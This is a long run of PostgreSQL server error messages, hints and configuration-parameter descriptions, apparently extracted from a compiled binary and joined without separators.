called before any querySET TRANSACTION ISOLATION LEVEL must not be called in a subtransactionSET requires parameter nameSQL function "%s"SQL function "%s" during inliningSQL function "%s" during startupSQL function "%s" statement %dSQL function cannot accept shell type %sSQL function cannot return shell type %sSQL functions cannot have arguments of type %sSQL functions cannot return type %sSQL statement "%s"SSL SYSCALL error: EOF detectedSSL certificate revocation list file "%s" ignoredSSL certificate revocation list file "%s" not found, skipping: %sSSL certificate's common name contains embedded nullSSL connection from "%s"SSL error code %luSSL error: %sSSL failed to send renegotiation requestSSL is not supported by this buildSSL library does not support certificate revocation lists.SSL offSSL onSSL renegotiation failureSTATEMENT:  STORAGE cannot be specified in ALTER OPERATOR FAMILYSYSID can no longer be specifiedSatSaturdaySee C include file "ntstatus.h" for a description of the hexadecimal value.See server log for details.Selects a file of time zone abbreviations.SepSeptemberSequence "%s" is linked to table "%s".Server has FLOAT4PASSBYVAL = %s, library has %s.Server has FLOAT8PASSBYVAL = %s, library has %s.Server has FUNC_MAX_ARGS = %d, library has %d.Server has INDEX_MAX_KEYS = %d, library has %d.Server has NAMEDATALEN = %d, library has %d.Server is version %d.%d, library is version %d.%d.Set the amount of traffic to send and receive before renegotiating the encryption keys.Sets how binary values are to be encoded in XML.Sets immediate fsync at commit.Sets the Bonjour broadcast service name.Sets the FROM-list size beyond which JOIN constructs are not flattened.Sets the FROM-list size beyond which subqueries are not collapsed.Sets the TCP port the server listens on.Sets the access permissions of the Unix-domain socket.Sets the client's character set encoding.Sets the current role.Sets the current transaction's isolation level.Sets the current transaction's read-only status.Sets the default read-only status of new transactions.Sets the default statistics target.Sets the default tablespace to create tables and indexes in.Sets the delay in microseconds between transaction commit and flushing WAL to disk.Sets the destination directory for log files.Sets the destination for server log output.Sets the directory where the Unix-domain socket will be created.Sets the display format for date and time values.Sets the file name pattern for log files.Sets the host name or IP address(es) to listen to.Sets the language in which messages are displayed.Sets the list of known custom variable classes.Sets the locale for formatting date and time values.Sets the locale for formatting monetary amounts.Sets the locale for formatting numbers.Sets the location of the Kerberos server key file.Sets the maximum allowed result for exact search by GIN.Sets the maximum distance in log segments between automatic WAL checkpoints.Sets the maximum memory to be used for maintenance operations.Sets the maximum memory to be used for query workspaces.Sets the maximum number of concurrent connections.Sets the maximum number of locks per transaction.Sets the maximum number of simultaneously open files for each server process.Sets the maximum number of simultaneously prepared transactions.Sets the maximum number of temporary buffers used by each session.Sets the maximum stack depth, in kilobytes.Sets the message levels that are logged.Sets the message levels that are sent to the client.Sets the minimum concurrent open transactions before performing commit_delay.Sets the name of the Kerberos service.Sets the number of connection slots reserved for superusers.Sets the number of digits displayed for floating-point values.Sets the number of disk-page buffers in shared memory for WAL.Sets the number of shared memory buffers used by the server.Sets the owning group of the Unix-domain socket.Sets the path for dynamically loadable modules.Sets the planner's assumption about the size of the disk cache.Sets the planner's estimate of the cost of a nonsequentially fetched disk page.Sets the planner's estimate of the cost of a sequentially fetched disk page.Sets the planner's estimate of the cost of processing each index entry during an index scan.Sets the planner's estimate of the cost of processing each operator or function call.Sets the planner's estimate of the cost of processing each tuple (row).Sets the planner's estimate of the fraction of a cursor's rows that will be retrieved.Sets the program name used to identify PostgreSQL messages in syslog.Sets the regular expression "flavor".Sets the schema search order for names that are not schema-qualified.Sets the seed for random-number generation.Sets the server (database) character set encoding.Sets the server's data directory.Sets the server's main configuration file.Sets the session user name.Sets the size reserved for pg_stat_activity.current_query, in bytes.Sets the syslog "facility" to be used when syslog enabled.Sets the threshold of FROM items beyond which GEQO is used.Sets the time zone for displaying and interpreting time stamps.Sets the transaction isolation level of each new transaction.Sets the type of statements logged.Sets the verbosity of logged messages.Sets whether "\'" is allowed in string literals.Sets whether Kerberos and GSSAPI user names should be treated as case-insensitive.Sets whether XML data in implicit parsing and serialization operations is to be considered as documents or content fragments.ShortWord should be >= 0Shows the block size in the write ahead log.Shows the character classification and case conversion locale.Shows the collation order locale.Shows the maximum number of function arguments.Shows the maximum number of index keys.Shows the number of pages per write ahead log segment.Shows the server version as an integer.Shows the server version.Shows whether the current user is a superuser.Some of the datatypes only support hashing, while others only support sorting.Space required.Specify OWNED BY table.column or OWNED BY NONE.Specify a relation name as well as a rule name.Start a subprocess to capture stderr output and/or csvlogs into log files.Starts the autovacuum subprocess.StatisticsStatistics / MonitoringStatistics / Query and Index Statistics CollectorStop the postmaster and use a standalone backend to vacuum database "%s".
You might also need to commit or roll back old prepared transactions.String constants with Unicode escapes cannot be used when standard_conforming_strings is off.String of %d bytes is too long for encoding conversion.SunSundaySystem allows %d, we need at least %d.System catalog modifications are currently disallowed.TIME(%d)%s precision must not be negativeTIME(%d)%s precision reduced to maximum allowed, %dTIMESTAMP(%d)%s precision must not be negativeTIMESTAMP(%d)%s precision reduced to maximum allowed, %dTRAP: %s("%s", File: "%s", Line: %d)
TRAP: ExceptionalCondition: bad arguments
TRUNCATE FOR EACH ROW triggers are not supportedTable "%s" references "%s", but they do not have the same ON COMMIT setting.Table "%s" references "%s".Table contains duplicated values.Table has type %s at ordinal position %d, but query expects %s.Table has type %s, but query expects %s.Table scans will be skipped if their constraints guarantee that no rows match the query.That is, the portion of the kernel's disk cache that will be used for PostgreSQL data files. This is measured in disk pages, which are normally 8 kB each.The array must be two-dimensional with length of the second axis equal to 2.The chosen LC_COLLATE setting requires encoding %s.The chosen LC_CTYPE setting requires encoding %s.The data directory was initialized by PostgreSQL version %ld.%ld, which is not compatible with this version %s.The database cluster appears to use a different floating-point number format than the server executable.The database cluster was initialized with BLCKSZ %d, but the server was compiled with BLCKSZ %d.The database cluster was initialized with CATALOG_VERSION_NO %d, but the server was compiled with CATALOG_VERSION_NO %d.The database cluster was initialized with HAVE_INT64_TIMESTAMP but the server was compiled without HAVE_INT64_TIMESTAMP.The database cluster was initialized with INDEX_MAX_KEYS %d, but the server was compiled with INDEX_MAX_KEYS %d.The database cluster was initialized with MAXALIGN %d, but the server was compiled with MAXALIGN %d.The database cluster was initialized with NAMEDATALEN %d, but the server was compiled with NAMEDATALEN %d.The database cluster was initialized with PG_CONTROL_VERSION %d, but the server was compiled with PG_CONTROL_VERSION %d.The database cluster was initialized with RELSEG_SIZE %d, but the server was compiled with RELSEG_SIZE %d.The database cluster was initialized with XLOG_BLCKSZ %d, but the server was compiled with XLOG_BLCKSZ %d.The database cluster was initialized with XLOG_SEG_SIZE %d, but the server was compiled with XLOG_SEG_SIZE %d.The database cluster was initialized without HAVE_INT64_TIMESTAMP but the server was compiled with HAVE_INT64_TIMESTAMP.The database subdirectory "%s" is missing.The file seems accidentally left over, but it could not be removed. Please remove the file by hand and try again.The given value did not match any of the allowed values for this field.The index is not optimal. To optimize it, contact a developer, or try to use the column as the second one in the CREATE INDEX command.The owner of a foreign-data wrapper must be a superuser.The planner will flatten explicit JOIN constructs into lists of FROM items whenever a list of no more than this many items would result.The planner will merge subqueries into upper queries if the resulting FROM list would have no more than this many items.The postmaster has commanded this server process to roll back the current transaction and exit, because another server process exited abnormally and possibly corrupted shared memory.The prefix "pg_" is reserved for system schemas.The prefix "pg_" is reserved for system tablespaces.The server must be started by the user that owns the data directory.The server will use the fsync() system call in several places to make sure that updates are physically written to disk. This insures that a database cluster will recover to a consistent state after an operating system or hardware crash.The server's LC_CTYPE locale is probably incompatible with the database encoding.The shared lock table is sized on the assumption that at most max_locks_per_transaction * max_connections distinct objects will need to be locked at any one time.The supported languages are listed in the pg_pltemplate system catalog.There are %d other session(s) and %d prepared transaction(s) using the database.There are %d other session(s) using the database.There are multiple equally-plausible candidates.There is a WITH item named "%s", but it cannot be referenced from this part of the query.There is a conflict because database "%s" already has some tables in this tablespace.There is an entry for table "%s", but it cannot be referenced from this part of the query.This affects real, double precision, and geometric data types. The parameter value is added to the standard number of digits (FLT_DIG or DBL_DIG as appropriate).This algorithm attempts to do planning without exhaustive searching.This allows attaching a debugger to the process.This applies to table columns that have not had a column-specific target set via ALTER TABLE SET STATISTICS.This can be set to advanced, extended, or basic.This controls the number of consecutive keepalive retransmits that can be lost before a connection is considered dead. A value of 0 uses the system default.This could be a problem of mismatched byte ordering.  It looks like you need to initdb.This error can also happen if the byte sequence does not match the encoding expected by the server, which is controlled by "client_encoding".This error does *not* mean that you have run out of disk space.
It occurs when either the system limit for the maximum number of semaphore sets (SEMMNI), or the system wide maximum number of semaphores (SEMMNS), would be exceeded.  You need to raise the respective kernel parameter.  Alternatively, reduce PostgreSQL's consumption of semaphores by reducing its max_connections parameter (currently %d).
The PostgreSQL documentation contains more information about configuring your system for PostgreSQL.This error does *not* mean that you have run out of disk space. It occurs either if all available shared memory IDs have been taken, in which case you need to raise the SHMMNI parameter in your kernel, or because the system's overall limit for shared memory has been reached.  If you cannot increase the shared memory limit, reduce PostgreSQL's shared memory request (currently %lu bytes), by reducing its shared_buffers parameter (currently %d) and/or its max_connections parameter (currently %d).
The PostgreSQL documentation contains more information about shared memory configuration.This error usually means that PostgreSQL's request for a shared memory segment exceeded available memory or swap space. To reduce the request size (currently %lu bytes), reduce PostgreSQL's shared_buffers parameter (currently %d) and/or its max_connections parameter (currently %d).
The PostgreSQL documentation contains more information about shared memory configuration.This error usually means that PostgreSQL's request for a shared memory segment exceeded your kernel's SHMMAX parameter.  You can either reduce the request size or reconfigure the kernel with larger SHMMAX.  To reduce the request size (currently %lu bytes), reduce PostgreSQL's shared_buffers parameter (currently %d) and/or its max_connections parameter (currently %d).
If the request size is already small, it's possible that it is less than your kernel's SHMMIN parameter, in which case raising the request size or reconfiguring SHMMIN is called for.
The PostgreSQL documentation contains more information about shared memory configuration.This functionality requires the server to be built with libxml support.This has been seen to occur with buggy kernels; consider updating your system.This includes operations such as VACUUM and CREATE INDEX.This is a debugging aid.This is most likely due to a rule having rewritten the query.This may indicate an incomplete PostgreSQL installation, or that the file "%s" has been moved away from its proper location.This parameter doesn't do anything.This probably means that some data is corrupted and you will have to use the last backup for recovery.This value contradicts a previous setting for the same field type.ThuThursdayTime between issuing TCP keepalives.Time spent flushing dirty buffers during checkpoint, as fraction of checkpoint interval.Time to sleep between autovacuum runs.Timeline IDs must be in increasing sequence.Timeline IDs must be less than child timeline's ID.To avoid a database shutdown, execute a database-wide VACUUM in "%s".
You might also need to commit or roll back old prepared transactions.To resolve the conflict, specify a default explicitly.Too few columns.Too many columns.Treats "expr=NULL" as "expr IS NULL".Truncate existing log files of same name during log rotation.Truncate table "%s" at the same time, or use TRUNCATE ... CASCADE.Try "%s --help" for more information.Try "%s --help" for more information.
Try the COPY (SELECT ...) TO variant.TueTuesdayTurns on various assertion checks.UNIQUE predicate is not yet implementedUTF-16 to UTF-8 translation failed: %luUnexpected end of input.UngroupedUnicode escape values cannot be used for code point values above 007F when the server encoding is not UTF8UnixUpdates the process title to show the active SQL command.Usage:
  %s [OPTION]...

Use "\n" to represent newline.Use "\r" to represent carriage return.Use '' to write quotes in strings, or use the escape string syntax (E'...').Use '' to write quotes in strings. \' is insecure in client-only encodings.Use ALTER AGGREGATE to change owner of aggregate functions.Use ALTER AGGREGATE to rename aggregate functions.Use CASCADE to revoke them too.Use CREATE LANGUAGE to load the language into the database.Use DROP ... CASCADE to drop the dependent objects too.Use DROP AGGREGATE to drop aggregate functions.Use DROP FUNCTION first.Use DROP INDEX to remove an index.Use DROP SEQUENCE to remove a sequence.Use DROP TABLE to remove a table.Use DROP TYPE to remove a type.Use DROP VIEW to remove a view.Use NONE to denote the missing argument of a unary operator.Use SELECT ... UNION ALL ... instead.Use WITH RECURSIVE, or re-order the WITH items to remove forward references.Use an explicit ordering operator or modify the query.Use quoted CSV field to represent carriage return.Use quoted CSV field to represent newline.Use separate LIMIT and OFFSET clauses.Use the 24-hour clock, or give an hour between 1 and 12.Use the escape string syntax for backslashes, e.g., E'\\'.Use the escape string syntax for escapes, e.g., E'\r\n'.Use the same LC_CTYPE as in the template database, or use template0 as template.Use the same collation as in the template database, or use template0 as template.Use the same encoding as in the template database, or use template0 as template.Use triggers instead.Use views instead.Use views or triggers instead.User does not have CONNECT privilege.Uses the indented output format for EXPLAIN VERBOSE.VALUES in FROM must have an aliasVALUES lists "%s" have %d columns available but %d columns specifiedVALUES lists must all be the same lengthVALUES must not contain OLD or NEW referencesVALUES must not contain table referencesVARIADIC parameter must be an arrayVARIADIC parameter must be the last input parameterVacuum cost amount available before napping, for autovacuum.Vacuum cost amount available before napping.Vacuum cost delay in milliseconds, for autovacuum.Vacuum cost delay in milliseconds.Vacuum cost for a page dirtied by vacuum.Vacuum cost for a page found in the buffer cache.Vacuum cost for a page not found in the buffer cache.Valid options in this context are: %sValid units for this parameter are "kB", "MB", and "GB".Valid units for this parameter are "ms", "s", "min", "h", and "d".Valid values are DEBUG5, DEBUG4, DEBUG3, DEBUG2, DEBUG1, INFO, NOTICE, WARNING, ERROR, LOG, FATAL, and PANIC. Each level includes all the levels that follow it.Valid values are LOCAL0, LOCAL1, LOCAL2, LOCAL3, LOCAL4, LOCAL5, LOCAL6, LOCAL7.Value exceeds integer range.Value has bits set to right of mask.Value must be in the range %d to %d.Values larger than 1/3 of a buffer page cannot be indexed.
Consider a function index of an MD5 hash of the value, or use full text indexing.Values larger than a buffer page cannot be indexed.Version and Platform CompatibilityVersion and Platform Compatibility / Other Platforms and ClientsVersion and Platform Compatibility / Previous PostgreSQL VersionsWAL archiving is not activeWAL ends before consistent recovery pointWAL file SYSID is %s, pg_control SYSID is %sWAL file is from different systemWARNINGWITH CHECK OPTION is not implementedWaits N seconds on connection startup after authentication.Warn about backslash escapes in ordinary string literals.WedWednesdayWhen a password is specified in CREATE USER or ALTER USER without writing either ENCRYPTED or UNENCRYPTED, this parameter determines whether the password is to be encrypted.When turned on, expressions of the form expr = NULL (or NULL = expr) are treated as expr IS NULL, that is, they return true if expr evaluates to the null value, and false otherwise. The correct behavior of expr = NULL is to always return null (unknown).When turned on, unquoted NULL in an array input value means a null value; otherwise it is taken literally.Window ordering columns must be of sortable datatypes.Window partitioning columns must be of sortable datatypes.Words longer than %d characters are ignored.Write a message to the server log if checkpoints caused by the filling of checkpoint segment files happens more frequently than this number of seconds. Zero turns off the warning.Write-Ahead LogWrite-Ahead Log / CheckpointsWrite-Ahead Log / SettingsWrites cumulative performance statistics to the server log.Writes executor performance statistics to the server log.Writes full pages to WAL when first modified after a checkpoint.Writes parser performance statistics to the server log.Writes planner performance statistics to the server log.Writes the postmaster PID to the specified file.XML processing instruction cannot contain "?>".XML processing instruction target name cannot be "%s".You can alter type %s, which will alter the array type as well.You can drop %s instead.You might be able to work around this by marking column "%s" NOT NULL, or use ALTER TABLE ... SET WITHOUT CLUSTER to remove the cluster specification from the table.You might be able to work around this by marking column "%s" NOT NULL.You might have antivirus, backup, or similar software interfering with the database system.You must move them back to the database's default tablespace before using this command.You must specify an operator class for the index or define a default operator class for the data type.You need an unconditional ON DELETE DO INSTEAD rule with a RETURNING clause.You need an unconditional ON DELETE DO INSTEAD rule.You need an unconditional ON INSERT DO INSTEAD rule with a RETURNING clause.You need an unconditional ON INSERT DO INSTEAD rule.You need an unconditional ON UPDATE DO INSTEAD rule with a RETURNING clause.You need an unconditional ON UPDATE DO INSTEAD rule.You need to rebuild PostgreSQL using --with-libxml.You possibly need to raise your kernel's SEMVMX value to be at least %d.  Look into the PostgreSQL documentation for details.You should immediately run CREATE USER "%s" CREATEUSER;.You will need to rewrite or cast the expression.Zero logs all files. The default is -1 (turning this feature off).Zero prints all actions. -1 turns autovacuum logging off.Zero prints all queries. -1 turns this feature off.Zero selects a suitable default value.[unknown]a backup is already in progressa backup is not in progressa column definition list is only allowed for functions returning "record"a column definition list is required for functions returning "record"a name must follow the "/" signa negative number raised to a non-integer power yields a complex resultabnormal database system shutdownaborting any active transactionsaborting startup due to startup process failureabsolute path not allowedaccepting GSS security context failedaccess method "%s" does not existaccess method "%s" does not support multicolumn indexesaccess method "%s" does not support unique indexesaccess to %saccess to library "%s" is not allowedaclinsert is no longer supportedaclremove is no longer supportedadding missing FROM-clause entry for table "%s"advisory lock [%u,%u,%u,%u]aggregate %s does not existaggregate %s(%s) does not exist, skippingaggregate %s(*) does not existaggregate %u needs to have compatible input type and transition typeaggregate attribute "%s" not recognizedaggregate functions not allowed in a recursive query's recursive termaggregate input type must be specifiedaggregate sfunc must be specifiedaggregate stype must be specifiedaggregate transition data type cannot be %saggregates not allowed in GROUP BY clauseaggregates not allowed in JOIN conditionsaggregates not allowed in WHERE clausealignment "%c" is invalid for passed-by-value type of size %dalignment "%c" is invalid for variable-length typealignment "%s" not recognizedall server processes terminated; reinitializinganalyzing "%s.%s"archive file "%s" has wrong size: %lu instead of %luarchive recovery completearchive_command must be defined before online backups can be made safely.archive_mode enabled, yet archive_command is not setarchived transaction log file "%s"archiver processargument declared "anyarray" is not an array but type %sargument declared "anyarray" is not consistent with argument declared "anyelement"argument for function "exp" too bigargument must be empty or one-dimensional arrayargument of %s must be a nameargument of %s must be a type nameargument of %s must be type boolean, not type %sargument of %s must not contain variablesargument of %s must not return a setargument to pg_get_expr() must come from system catalogsargument type %s is only a shellarguments declared "anyarray" are not all alikearguments declared "anyelement" are not all alikearguments of row IN must all be row expressionsarray assignment requires type %s but expression is of type %sarray assignment to "%s" requires type %s but expression is of type %sarray coercion to domain type elements not currently supportedarray dimensions incompatible with array literalarray element type cannot be %sarray must not contain null valuesarray of weight is too shortarray size exceeds the maximum allowed (%d)array subscript in assignment must not be nullarray subscript must have type integerarray subscript out of rangearray value must start with "{" or dimension informationassertion checking is not supported by this buildassociated data types must be specified for index support procedureat least one of leftarg or rightarg must be specifiedattempt to redefine parameter "%s"attribute %d has wrong typeauthentication failed for user "%s": host rejectedauthentication failed for user "%s": invalid authentication methodauthentication file token too long, skipping: "%s"authentication option not in name=value format: %sautomatic analyze of table "%s.%s.%s"automatic analyze of table "%s.%s.%s" system usage: %sautomatic recovery in progressautomatic vacuum of table "%s.%s.%s": index scans: %d
pages: %d removed, %d remain
tuples: %.0f removed, %.0f remain
system usage: %sautovacuum not started because of misconfigurationautovacuum: processing database "%s"background writer processbasetype is redundant with aggregate input type specificationbigint out of rangebinary value is out of range for type bigintbind %s to %sbind message has %d parameter formats but %d parametersbind message has %d result formats but query has %d columnsbind message supplies %d parameters, but prepared statement "%s" requires %dbit string length %d does not match type bit(%d)bit string too long for type bit varying(%d)btree procedures must have two argumentsbtree procedures must return integercached plan must not change result typecan only reindex the currently open databasecanceling autovacuum taskcanceling statement due to statement timeoutcanceling statement due to user requestcannot AND bit strings of different sizescannot AND inet values of different sizescannot OR bit strings of different sizescannot OR inet values of different sizescannot PREPARE a transaction that has created a cursor WITH HOLDcannot PREPARE a transaction that has executed LISTEN or UNLISTENcannot PREPARE a transaction that has operated on temporary tablescannot XOR bit strings of different sizescannot accept a value of a shell typecannot accept a value of type anycannot accept a value of type anyarraycannot accept a value of type anyelementcannot accept a value of type internalcannot accept a value of type language_handlercannot accept a value of type opaquecannot accept a value of type triggercannot alter inherited column "%s"cannot alter system column "%s"cannot alter table "%s" because column "%s"."%s" uses its rowtypecannot alter type of a column used by a view or rulecannot alter type of column "%s" twicecannot assign new default tablespace "%s"cannot assign null value to an element of a fixed-length arraycannot assign to field "%s" of column "%s" because its type %s is not a composite typecannot assign to field "%s" of column "%s" because there is no such column in data type %scannot assign to system column "%s"cannot calculate day of year without year informationcannot cast type %s to %scannot change TOAST relation "%s"cannot change owner of index "%s"cannot change owner of sequence "%s"cannot change return type of existing functioncannot change sequence "%s"cannot change view "%s"cannot cluster on expressional index "%s" because its index access method does not handle null valuescannot cluster on index "%s" because access method does not handle null valuescannot cluster on index "%s" because access method does not support clusteringcannot cluster on partial index "%s"cannot cluster temporary tables of other sessionscannot compare arrays of different element typescannot compare dissimilar column types %s and %s at record column %dcannot compare rows of zero lengthcannot concatenate incompatible arrayscannot convert NaN to bigintcannot convert NaN to integercannot convert NaN to smallintcannot convert abstime "invalid" to timestampcannot convert circle with radius zero to polygoncannot convert empty polygon to circlecannot convert relation containing dropped columns to viewcannot convert reltime "invalid" to intervalcannot convert reserved abstime value to datecannot copy from non-table relation "%s"cannot copy from sequence "%s"cannot copy from view "%s"cannot copy to non-table relation "%s"cannot copy to sequence "%s"cannot copy to view "%s"cannot create bounding box for empty polygoncannot create indexes on temporary tables of other sessionscannot delete from a viewcannot determine result data typecannot determine transition data typecannot display a value of a shell typecannot display a value of type anycannot display a value of type anyelementcannot display a value of type internalcannot display a value of type language_handlercannot display a value of type opaquecannot display a value of type triggercannot drop %s because %s requires itcannot drop %s because it is required by the database systemcannot drop %s because other objects depend on itcannot drop a template databasecannot drop inherited column "%s"cannot drop objects owned by %s because they are required by the database systemcannot drop system column "%s"cannot drop the currently open databasecannot enable "log_statement_stats" when "log_parser_stats", "log_planner_stats", or "log_executor_stats" is truecannot enable parameter when "log_statement_stats" is truecannot execute %s within security-restricted operationcannot have RETURNING lists in multiple rulescannot have more than %d keys in a foreign keycannot have more than 2^32-1 commands in a transactioncannot have more than 2^32-1 subtransactions in a transactioncannot have multiple RETURNING lists in a rulecannot have multiple SET TABLESPACE subcommandscannot inherit from temporary relation "%s"cannot insert into a viewcannot insert multiple commands into a prepared statementcannot merge incompatible arrayscannot move an owned sequence into another schemacannot move objects into or out of TOAST schemacannot move objects into or out of temporary schemascannot move system relation "%s"cannot move temporary tables of other sessionscannot open %s query as cursorcannot open multi-query plan as cursorcannot override ORDER BY clause of window "%s"cannot override PARTITION BY clause of window "%s"cannot perform DELETE RETURNING on relation "%s"cannot perform INSERT RETURNING on relation "%s"cannot perform UPDATE RETURNING on relation "%s"cannot reference permanent table from temporary table constraintcannot reference temporary table from permanent table constraintcannot remove dependency on %s because it is a system objectcannot rename inherited column "%s"cannot rename system column "%s"cannot rewrite system relation "%s"cannot rewrite temporary tables of other sessionscannot set a subfield to DEFAULTcannot set an array element to DEFAULTcannot set parameter "%s" within security-definer functioncannot set parameter "%s" within security-restricted operationcannot set transaction read-write mode inside a read-only transactioncannot specify CSV in BINARY modecannot specify DELIMITER in BINARY modecannot specify NULL in BINARY modecannot specify both SCROLL and NO SCROLLcannot subscript type %s because it is not an arraycannot subtract inet values of different sizescannot subtract infinite timestampscannot take logarithm of a negative numbercannot take logarithm of zerocannot take square root of a negative numbercannot truncate a table referenced in a foreign key constraintcannot truncate system relation "%s"cannot truncate temporary tables of other sessionscannot update a viewcannot use "PR" and "S"/"PL"/"MI"/"SG" togethercannot use "S" and "MI" togethercannot use "S" and "PL" togethercannot use "S" and "PL"/"MI"/"SG"/"PR" togethercannot use "S" and "SG" togethercannot use "V" and decimal point togethercannot use aggregate function in EXECUTE parametercannot use aggregate function in RETURNINGcannot use aggregate function in UPDATEcannot use aggregate function in VALUEScannot use aggregate function in check constraintcannot use aggregate function in default expressioncannot use aggregate function in function expression in FROMcannot use aggregate function in index expressioncannot use aggregate function in rule WHERE conditioncannot use aggregate function in transform expressioncannot use aggregate in index predicatecannot use authentication method "crypt" because password is MD5-encryptedcannot use column references in default expressioncannot use more than %d columns in an indexcannot use subquery in EXECUTE parametercannot use subquery in check constraintcannot use subquery in default expressioncannot use subquery in index expressioncannot use subquery in index predicatecannot use subquery in transform expressioncannot use table references in domain check constraintcase insensitive matching not supported on type byteacast from %s to %scast from type %s to type %s already existscast from type %s to type %s does not existcast from type %s to type %s does not exist, skippingcast function must not be an aggregate functioncast function must not be volatilecast function must not return a setcast function must take one to three argumentschanging argument type of function %s from "opaque" to "cstring"changing argument type of function %s from "opaque" to %schanging return type of function %s from "opaque" to "cstring"changing return type of function %s from "opaque" to "language_handler"changing return type of function %s from "opaque" to "trigger"changing return type of function %s from "opaque" to %schanging the foreign-data wrapper validator can cause the options for dependent objects to become invalidcharacter 0x%s of encoding "%s" has no equivalent in "%s"check constraint "%s" already existscheck constraint "%s" is violated by some rowcheck constraint name "%s" appears multiple times but with different expressionscheck of private key failed: %scheckpoint record is at %X/%Xcheckpoint request failedchild process exited with exit code %dchild process exited with unrecognized status %dchild process was terminated by exception 0x%Xchild process was terminated by signal %dchild process was terminated by signal %schild table "%s" has different type for column "%s"child table is missing column "%s"child table is missing constraint "%s"circular inheritance not allowedclient certificates can only be checked if a root certificate store is availableclientcert can not be set to 0 when using "cert" authenticationclientcert can only be configured for "hostssl" rowsclosing existing cursor "%s"column "%s" appears twice in primary key constraintcolumn "%s" appears twice in unique constraintcolumn "%s" cannot be declared SETOFcolumn "%s" contains null valuescolumn "%s" does not existcolumn "%s" has a type conflictcolumn "%s" has pseudo-type %scolumn "%s" has type "unknown"column "%s" in child table must be marked NOT NULLcolumn "%s" inherits conflicting default valuescolumn "%s" is in a primary keycolumn "%s" is of type %s but default expression is of type %scolumn "%s" is of type %s but expression is of type %scolumn "%s" named in key does not existcolumn "%s" not found in data type %scolumn "%s" of relation "%s" already existscolumn "%s" of relation "%s" does not existcolumn "%s" of table "%s" contains null valuescolumn "%s" of table "%s" contains values that violate the new constraintcolumn "%s" referenced in foreign key constraint does not existcolumn "%s" specified in USING clause does not exist in left tablecolumn "%s" specified in USING clause does not exist in right tablecolumn "%s" specified more than oncecolumn "%s.%s" must appear in the GROUP BY clause or be used in an aggregate functioncolumn %d of relation "%s" does not existcolumn %s.%s does not existcolumn alias list for "%s" has too many entriescolumn data type %s can only have storage PLAINcolumn must be added to child tables toocolumn name "%s" appears more than once in USING clausecolumn name "%s" conflicts with a system column namecolumn name list not allowed in CREATE TABLE / AS EXECUTEcolumn names cannot be included in GRANT/REVOKE ROLEcolumn notation .%s applied to type %s, which is not a composite typecolumn reference "%s" is ambiguouscommon column name "%s" appears more than once in left tablecommon column name "%s" appears more than once in right tablecomponent in parameter "dynamic_library_path" is not an absolute pathcomposite type %scomposite type must have at least one attributeconcurrent index creation on system catalog tables is not supportedconcurrent transaction log activity while database system is shutting downconditional UNION/INTERSECT/EXCEPT statements are not implementedconditional utility statements are not implementedconfiguration column "%s" must not be nullconflicting "datestyle" specificationsconflicting NULL/NOT NULL constraintsconflicting NULL/NOT NULL declarations for column "%s" of table "%s"conflicting or redundant optionsconflicting values for "%s" field in formatting stringconnection authorized: user=%s database=%sconnection limit exceeded for non-superusersconnection lost during COPY to stdoutconnection received: host=%s%s%sconsistent recovery state reachedconstraint "%s" does not existconstraint "%s" for domain "%s" already existsconstraint "%s" for relation "%s" already existsconstraint "%s" for table "%s" does not existconstraint "%s" is not deferrableconstraint %sconstraint declared INITIALLY DEFERRED must be DEFERRABLEconstraint must be added to child tables toocontrecord is requested by %X/%Xcontrol file contains invalid dataconversion "%s" already existsconversion "%s" already exists in schema "%s"conversion "%s" does not existconversion "%s" does not exist, skippingconversion %sconversion between %s and %s is not supportedconversion from wchar_t to server encoding failed: %mconversion with OID %u does not existconverting trigger group into constraint "%s" %scorrupted item lengths: total %u, available space %ucorrupted item pointer: %ucorrupted item pointer: offset = %u, size = %ucorrupted page pointers: lower = %u, upper = %u, special = %ucorrupted pgstat.stat filecould not accept SSL connection: %mcould not accept SSL connection: %scould not accept SSL connection: EOF detectedcould not accept new connection: %mcould not access directory "%s": %mcould not access file "%s": %mcould not access private key file "%s": %mcould not access status of transaction %ucould not allocate shared memory segment "%s"could not bind %s socket: %mcould not bind socket for statistics collector: %mcould not bind to all requested addresses: MAXLISTEN (%d) exceededcould not bind to local address "%s": %mcould not change directory to "%s"could not change directory to "%s": %mcould not close bootstrap transaction log file: %mcould not close control file: %mcould not close file "%s": %mcould not close handle to backend parameter variables: error code %d
could not close log file %u, segment %u: %mcould not close temporary statistics file "%s": %mcould not close two-phase state file "%s": %mcould not close two-phase state file: %mcould not compare Unicode strings: %mcould not connect socket for statistics collector: %mcould not connect to Ident server at address "%s", port %s: %mcould not convert string to UTF-16: error %lucould not convert table "%s" to a view because it has child tablescould not convert table "%s" to a view because it has indexescould not convert table "%s" to a view because it has triggerscould not convert table "%s" to a view because it is not emptycould not convert to time zone "%s"could not create %s socket: %mcould not create PAM authenticator: %scould not create SSL context: %scould not create Unix-domain socketcould not create any TCP/IP socketscould not create archive status file "%s": %mcould not create control file "%s": %mcould not create directory "%s": %mcould not create file "%s": %mcould not create inherited socket: error code %d
could not create listen socket for "%s"could not create lock file "%s": %mcould not create log file "%s": %mcould not create pipe for syslog: %mcould not create relation-cache initialization file "%s": %mcould not create semaphore: error code %dcould not create semaphores: %mcould not create server file "%s": %mcould not create shared memory segment: %mcould not create signal dispatch thread: error code %d
could not create signal listener pipe for pid %d: error code %dcould not create signal listener pipe: error code %d; retrying
could not create socket for Ident connection: %mcould not create socket for statistics collector: %mcould not create symbolic link "%s": %mcould not create two-phase state file "%s": %mcould not determine actual result type for function "%s" declared to return type %scould not determine actual result type for function declared to return type %scould not determine actual type of argument declared %scould not determine data type of parameter $%dcould not determine input data typescould not determine interpretation of row comparison operator %scould not determine row description for function returning recordcould not duplicate socket %d for use in backend: error code %dcould not enable credential reception: %mcould not execute server process "%s": %mcould not fdatasync log file %u, segment %u: %mcould not find a "%s" to executecould not find array type for data type %scould not find function "%s" in file "%s"could not fork archiver: %mcould not fork background writer process: %mcould not fork new process for connection: could not fork new process for connection: %mcould not fork process: %mcould not fork startup process: %mcould not fork statistics collector: %mcould not fork system logger: %mcould not format "circle" valuecould not format "path" valuecould not format cidr value: %mcould not format inet value: %mcould not fsync bootstrap transaction log file: %mcould not fsync control file: %mcould not fsync file "%s": %mcould not fsync log file %u, segment %u: %mcould not fsync two-phase state file "%s": %mcould not fsync two-phase state file: %mcould not fsync write-through log file %u, segment %u: %mcould not get SID for Administrators group: error code %d
could not get SID for PowerUsers group: error code %d
